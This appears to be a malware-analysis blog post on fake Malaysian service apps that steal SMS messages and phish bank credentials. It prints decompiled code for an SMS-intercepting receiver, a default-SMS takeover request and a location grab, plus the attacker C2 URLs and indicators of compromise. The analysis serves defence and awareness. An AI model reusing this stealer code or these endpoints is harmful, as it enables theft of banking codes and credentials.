In this post, we will be discussing a disturbing new trend in malicious Android apps that have been targeting users in Malaysia. These apps, which have been disguised as legitimate services such as Cleaning service, have been found to contain SMS stealer and banking credential phishing capabilities, putting the sensitive information of their victims at risk.
The rise of smartphone usage in recent years has brought with it a host of security threats, including malicious apps that can compromise the privacy and security of users. These types of apps can be difficult to detect, as they often masquerade as harmless or even useful tools.
In the case of the malicious apps targeting Malaysian users, it is believed that they have been distributed through its websites. It is important for users to be cautious when downloading apps from unfamiliar sources, as this is one of the main ways that malicious apps can find their way onto a userâs device.
In this post, we will delve into the details of these particular incidents, including how the apps have been used to steal sensitive information such as SMS messages and banking credentials, and what users can do to protect themselves from similar threats.
Credit to Mr Jacob Soo for providing me the intel about this risen malicious APK.
Technical Analysis
This technical analysis is just for fun and knowledge sharing. All my words and writing is on my own and does not reflect anyone.
For this modus operandi, there were a lot of websites that serve the malicious APK. Here some of it that Mr. Jacob has intel for us.
Websites | APK hash | Theme |
---|---|---|
hxxps://weclean[.]cc/ | 1030f97b9ad1addf85b980f576b648a3 | Cleaning service |
hxxps://double-clean[.]com/ | 1abf5db7726c4e6e9a3a6ce6cdd313af | Cleaning service |
hxxps://cleanshouse[.]net/ | 1b7df305308e4177ae2f078be13c3de9 | Cleaning service |
hxxp://dogsclubs[.]net | a56a386b76841bd0aa10654e8d7f4efc | Cleaning service |
hxxp://best-cleanings[.]com | e71f6e4629fb88ab18e52a2591b14fa8 | Cleaning service |
hxxp://bubblecleaning[.]net | 7f0e204375caddb08d4c3f9937fa8304 | Cleaning service |
hxxp://44speedmart[.]com | 23f449dbfc6b9ccae1d20d318672e6d4 | Grocery store |
hxxps://dog-salon[.]net/ | 2b425dd477fca2932dfab2d5159f611d | Dog salon service |
hxxp://grooming-time[.]com | f8de585ec8d75b6aae0f41ddf2dc03d8 | Dog salon service |
hxxp://luxury-online[.]net | ccb0e8380057a4c406996d5102079a4b | Shopping items |
hxxps://pinky-cat[.]net/ | 5ca6c25f1b2d8e4ca5987e68616247d7 | Catâs foods |
hxxps://tech-digital[.]net/ | e062d108c93082fb9f47c3f2249d19c5 | Gadget ecommerce |
The moment this post published, I believe you all canât access the domain anymore as the CloudFlare returns Error code 520. Sad.
Btw, the domain might be different, but I suspect that the server behind these domains is the same for some reasons.
APK Metadata information
File Name: clean-house.apk
Package Name: com.service.sms
Main Activity: io.dcloud.PandoraEntry
File Size: 39652340 bytes
MD5: 1b7df305308e4177ae2f078be13c3de9
Packed: Not Packed
Min SDK: 21
Target SDK: 32
Permission
Based on the permissions of the application, we know that the application had some dangerous permission for users to consider it. But, looking only for permission to verify whether it is malicious or not is not an efficient way. We need to dive into the code and the behavior of the application to see how malicious is it.
Below is the list of permissions in the application:
android.permission.CAMERA
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.READ_SMS
android.permission.WRITE_SMS
android.permission.RECEIVE_SMS
android.permission.SEND_SMS
android.permission.RECEIVE_MMS
android.permission.RECEIVE_WAP_PUSH
android.permission.INTERNET
android.permission.FOREGROUND_SERVICE
android.permission.GET_TASKS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.BROADCAST_STICKY
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.ACCESS_NETWORK_STATE
android.permission.READ_EXTERNAL_STORAGE
android.permission.WAKE_LOCK
android.permission.SEND_RESPOND_VIA_MESSAGE
android.permission.BROADCAST_WAP_PUSH
android.permission.BROADCAST_SMS
android.permission.BIND_JOB_SERVICE
android.permission.DUMP
Btw, it is difficult to determine which Android permissions are âdangerousâ as the level of risk associated with each permission depends on the specific app and how it uses the permission. Some permissions, such as the ability to access the camera or read SMS messages, can be potentially dangerous if they are used by a malicious app to compromise the privacy or security of the user. Other permissions, such as the ability to access the internet or read external storage, may not pose as much of a risk on their own but could be used in conjunction with other permissions to potentially harm the user.
As a general rule, it is important for users to carefully review the permissions requested by an app before installing it, and to be cautious of apps that request permissions that seem unnecessary for the appâs intended functionality. It is also a good idea to avoid downloading apps from untrusted sources, as these apps are more likely to be malicious.
But for analysts, we can consider these permissions to have our eye on it as it can be considered as dangerous in a certain context.
READ_CALENDAR
WRITE_CALENDAR
READ_CALL_LOG
WRITE_CALL_LOG
PROCESS_OUTGOING_CALLS
CAMERA
READ_CONTACTS
WRITE_CONTACTS
GET_ACCOUNTS
ACCESS_FINE_LOCATION
ACCESS_COARSE_LOCATION
RECORD_AUDIO
READ_PHONE_STATE
READ_PHONE_NUMBERS
CALL_PHONE
ANSWER_PHONE_CALLS
ADD_VOICEMAIL
USE_SIP
BODY_SENSORS
SEND_SMS
RECEIVE_SMS
READ_SMS
RECEIVE_WAP_PUSH
RECEIVE_MMS
READ_EXTERNAL_STORAGE
WRITE_EXTERNAL_STORAGE
Landing page overview
The applicationâs APK file is available to be downloaded at the landing page that has been set up by the threat actor at the mentioned table in the section above. Based on the landing page UI, the threat actor uses various themes to lure customers to download and install the malicious application if the customer wanted to book the package cleaning service, dog salon, eCommerce, and other packages.
The image below shows the cleaning service landing page that describes the cleaning service that theyâre offering for victims. To use their services, victims need to download and install malicious application.
Clicking on the Google Play icon will automatically download the application to the victimâs phone.
Upon downloading the application, victims will install the application, and⌠all the SMS will be stolen for the sake of TAC code and they might be one of the victims of banking credential phishing.
Application behavior and interface
In order to analyze the functionality of the malicious app, analyst will need to explore its interface and various features, such as adding items to a shopping cart or creating an account. This can be done by manually interacting with the app and observing its behavior, or by using Android emulator. By understanding the different components and functionality of the app, the analyst can better understand its purpose and potential impact on the device and user. It is important for the analyst to be thorough in their analysis in order to identify any potential malicious behavior or vulnerabilities that may be present in the app.
So, upon opening the app, victim will see a dialog box asking for SMS permission and default SMS manager.
public void requestPermission(){
if (Build$VERSION.SDK_INT >= 23) {
String[] stringArray = new String[]{"android.permission.READ_SMS","android.permission.BROADCAST_SMS","android.permission.RECEIVE_SMS","android.permission.SEND_SMS","android.permission.RECEIVE_MMS","android.permission.RECEIVE_WAP_PUSH"};
SmsPermissionService.app.requestPermissions(stringArray, 101);
}
Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
intent.putExtra("package", SmsPermissionService.app.getPackageName());
SmsPermissionService.app.startActivity(intent);
return;
}
This code defines an requestPermission method that requests several SMS-related permissions from the user if the device is running Android 6.0 (API level 23) or higher. The permissions being requested are:
android.permission.READ_SMS
: Allows an application to read SMS messages.android.permission.BROADCAST_SMS
: Allows an application to broadcast SMS messages.android.permission.RECEIVE_SMS
: Allows an application to receive SMS messages.android.permission.SEND_SMS
: Allows an application to send SMS messages.android.permission.RECEIVE_MMS
: Allows an application to receive MMS messages.android.permission.RECEIVE_WAP_PUSH
: Allows an application to receive WAP push messages.
These permissions are requested using the requestPermissions
method of the Activity class, which displays a system dialog to the user asking for permission. The requestPermissions
method takes two arguments: an array of strings representing the permissions being requested, and an integer request code that is used to identify the request when the result is received in the onRequestPermissionsResult method.
The code also starts an activity to change the default SMS app to the current app by creating an Intent object with the action âandroid.provider.Telephony.ACTION_CHANGE_DEFAULTâ and setting the package name of the current app as an extra. The activity is started using the startActivity method of the Activity class.
Here some of the application interface during my testing of the app such as viewing items/services, booking items/services, adding items/services to a shopping cart, and checkout.
Fake payment gateway for phishing
Upon checkout the items, the app will navigate to fake payment gateaway for the payment options. The payment also can be made using Debit and Credit Card.
The list of banks include:
- Maybank
- Hong Leong Bank
- CIMB
- Public Bank
- Affin
- BSN
- Bank Islam
- AmBank
- OCBC
- HSBC
- HUOB
- AGRO
For example, figure below shows fake Maybank2u page and lure debit/credit card payment page:
Upon entering our banking credential, the app will POST the data to the API server reside in https://u138-paymobile7731.pay-director.com/common/save.php
After send the data, the application will either shows this screen to the user.
SMS stealer
For SMS stealer behavior, the malicious application statically declares a broadcast receiver of BROADCAST_SMS in AndroidManifest file. The APK uses the broadcast receiver to listen for any incoming message and send the incoming SMS data to the attacker API server. Intently to get TAC code of the banking transaction for the illegal transaction.
<receiver android:name="com.service.sms.SmsReceiver" android:permission="android.permission.BROADCAST_SMS" android:enabled="true" android:exported="true" android:priority="9999999" android:stopWithTask="false">
<intent-filter android:priority="9999999">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<action android:name="android.provider.Telephony.SMS_DELIVER"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</receiver>
<activity android:name="com.service.sms.MainSmsActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<action android:name="android.intent.action.SENDTO"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="sms"/>
<data android:scheme="smsto"/>
<data android:scheme="mms"/>
<data android:scheme="mmsto"/>
</intent-filter>
<meta-data android:name="android.app.lib_name" android:value=""/>
</activity>
In the class MyReciever, the method onReceive will be triggered when an SMS is coming in and the application will send the SMS data to the attacker URL. Hereâs the code:
public class SmsReceiver extends BroadcastReceiver {
private static final String TAG = "SmsReceiver";
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
SmsMessage createFromPdu;
if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
Bundle extras = intent.getExtras();
Object[] objArr = (Object[]) extras.get("pdus");
int length = objArr.length;
int i = 0;
String str = "";
String str2 = str;
while (i < length) {
Object obj = objArr[i];
if (Build.VERSION.SDK_INT >= 23) {
createFromPdu = SmsMessage.createFromPdu((byte[]) obj, extras.getString(AbsoluteConst.JSON_KEY_FORMAT));
} else {
createFromPdu = SmsMessage.createFromPdu((byte[]) obj);
}
str2 = str2 + createFromPdu.getMessageBody();
i++;
str = createFromPdu.getOriginatingAddress();
}
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
SmsPush smsPush = new SmsPush();
smsPush.setSender(str);
smsPush.setBody(str2);
smsPush.setDeviceId(Settings.Secure.getString(context.getContentResolver(), "android_id"));
smsPush.setInterceptedTime(simpleDateFormat.format(new Date()));
try {
SmsPushRequest smsPushRequest = (SmsPushRequest) ThreadUtil.executeRunnable(new SmsPushRequest(smsPush));
} catch (InterruptedException e) {
e.printStackTrace();
}
abortBroadcast();
}
}
}
This Java code defines a class SmsReceiver
that extends the BroadcastReceiver
class. BroadcastReceiver
is a class in Android that allows an app to register to receive system-wide broadcasts, such as an incoming SMS message. The SmsReceiver
class has a default constructor and an onReceive method, which is called when the app receives a broadcast.
The onReceive
method takes two arguments: a Context
object and an Intent
object. The Intent
object contains information about the broadcast, including the action that triggered it.
The onReceive method first checks if the action in the Intent object is âandroid.provider.Telephony.SMS_RECEIVEDâ, which indicates that an SMS message has been received. If it is, the method retrieves the extras in the Intent object and gets the âpdusâ (protocol data units) from the extras. It then iterates through the array of PDUs, creating an SmsMessage
object for each one using the createFromPdu
method. It concatenates the message bodies of all the SmsMessage objects into a single string, and stores the originating address of the first SmsMessage object.
Next, the method creates a new SmsPush
object and sets its sender, body, and deviceId fields using the values it retrieved from the SMS message. It also sets the interceptedTime
field to the current date and time using a SimpleDateFormat
object. Finally, it creates a new SmsPushRequest
object with the SmsPush
object as an argument and executes it using the executeRunnable
method from the ThreadUtil
class.
package com.service.sms.common.constants;
/* loaded from: classes2.dex */
public class UrlConstant {
public static final String ACTIVE_PUSH = "https://sg1.mall-base-app.com/app/api/action/devideActivePushAction/";
public static final String DEFAULT_SMS_PUSH = "https://sg1.mall-base-app.com/app/api/action/defaultSmsPushAction/";
public static final String PREFIX = "/app/api/action/";
public static final String SMS_PERMISSION_PUSH = "https://sg1.mall-base-app.com/app/api/action/smsPermissionPushAction/";
public static final String SMS_PUSH = "https://sg1.mall-base-app.com/app/api/action/smsMessagePushAction/";
}
After getting the SMS data, the app will send the data to the UrlConstant.DEFAULT_SMS_PUSH URL
using an HTTP POST request and processes the response from the server to determine if the request was successful.
Track GPS location
JSONObject jSONObject = new JSONObject();
LocationManager locationManager = (LocationManager) context.getSystemService("location");
if (locationManager != null) {
try {
Method declaredMethod = locationManager.getClass().getDeclaredMethod("getLastKnownLocation", String.class);
declaredMethod.setAccessible(true);
Location location = (Location) declaredMethod.invoke(locationManager, "gps");
if (location == null && (location = (Location) declaredMethod.invoke(locationManager, "network")) == null) {
location = (Location) declaredMethod.invoke(locationManager, "passive");
}
if (location != null) {
Class<?> cls = Class.forName("android.location.Location");
Method method = cls.getMethod("getLongitude", new Class[0]);
Method method2 = cls.getMethod("getLatitude", new Class[0]);
Method method3 = cls.getMethod("getAccuracy", new Class[0]);
Method method4 = cls.getMethod("getTime", new Class[0]);
method.setAccessible(true);
jSONObject.put("lon", String.valueOf(method.invoke(location, new Object[0])));
method2.setAccessible(true);
jSONObject.put("lat", String.valueOf(method2.invoke(location, new Object[0])));
method3.setAccessible(true);
jSONObject.put("accuracy", String.valueOf(method3.invoke(location, new Object[0])));
method4.setAccessible(true);
jSONObject.put("ts", String.valueOf(method4.invoke(location, new Object[0])));
}
} catch (Exception unused) {
}
}
a = jSONObject;
b = true;
return jSONObject;
This method tries to retrieve the last known location from the device and return it as a JSONObject.
The method first checks whether the passed Context object is null
and returns an empty JSONObject
if it is. Then, it checks whether the app has the permissions android.permission.ACCESS_FINE_LOCATION
and android.permission.ACCESS_COARSE_LOCATION
, and returns an empty JSONObject
if it doesnât have either of these permissions.
If these checks pass, the method creates a new JSONObject
and retrieves the LocationManager
service from the system using the context objectâs getSystemService
method. It then tries to retrieve the last known location using reflection. It does this by calling the getDeclaredMethod
method on the locationManager
object to get a Method object for the getLastKnownLocation
method, which it then sets to be accessible using setAccessible(true)
. It then invokes the method using invoke and passes it the argument âgpsâ. If this returns null, the method tries again with the arguments ânetworkâ and âpassiveâ.
If a location is found, the method uses reflection to get the longitude, latitude, accuracy, and time of the location. It then adds the values returned by these methods to the JSONObject as key-value pairs.
Finally, the method sets the static JSONObject a to the JSONObject it created and sets the static boolean variable b to true, and returns the JSONObject.
Summary
The blog discusses the use of a lure application by a scammer to steal sensitive information from users. The lure application serves as a decoy, tricking users into providing their SMS data and online banking credentials, as well as credit card information. Once the scammer has obtained the SMS information, it is submitted to the attackerâs Command and Control (C2) server using an API located at the domain sg1[.]mall-base-app[.]com. While, for banking credential phishing kit, the data are sends to u138-paymobile7731[.]pay-director[.]com The attacker can then use the stolen information, such as banking credentials and credit card information, to obtain the Transaction Authorization Code (TAC) for illegal transactions. Essentially, the scammer is using the lure application to phish for sensitive information and use it for fraudulent purposes.
Indicator of Compromises
C2 Server |
---|
https://sg1.mall-base-app.com |
https://u138-paymobile7731.pay-director.com |
URLs |
---|
https://sg1.mall-base-app.com/app/api/action/defaultSmsPushAction/ |
https:/sg1.mall-base-app.com/app/api/action/devideActivePushAction/ |
https://sg1.mall-base-app.com/app/api/action/smsMessagePushAction/ |
https://sg1.mall-base-app.com/app/api/action/smsPermissionPushAction/ |
https://u138-paymobile7731.pay-director.com/maybank/pay.html |
https://u138-paymobile7731.pay-director.com/cimb/pay.html |
https://u138-paymobile7731.pay-director.com/affin/pay.html |
https://u138-paymobile7731.pay-director.com/ocbc/pay.html |
https://u138-paymobile7731.pay-director.com/hsbc/pay.html |
https://u138-paymobile7731.pay-director.com/uob/pay.html |
https://u138-paymobile7731.pay-director.com/common/save.php |
MD5 Hash | Filename |
---|---|
ccb0e8380057a4c406996d5102079a4b | Luxury.apk |
e062d108c93082fb9f47c3f2249d19c5 | TechDigital.apk |
e71f6e4629fb88ab18e52a2591b14fa8 | best-cleaning.apk |
7f0e204375caddb08d4c3f9937fa8304 | bubble-clean.apk |
1b7df305308e4177ae2f078be13c3de9 | clean-house.apk |
2b425dd477fca2932dfab2d5159f611d | dog-salon.apk |
a56a386b76841bd0aa10654e8d7f4efc | dogs-clubs.apk |
1abf5db7726c4e6e9a3a6ce6cdd313af | double-clean.apk |
f8de585ec8d75b6aae0f41ddf2dc03d8 | grooming-time.apk |
5ca6c25f1b2d8e4ca5987e68616247d7 | pinkycat.apk |
23f449dbfc6b9ccae1d20d318672e6d4 | speedmart.apk |
1030f97b9ad1addf85b980f576b648a3 | we-clean.apk |
1030f97b9ad1addf85b980f576b648a3 | we-clean.apk |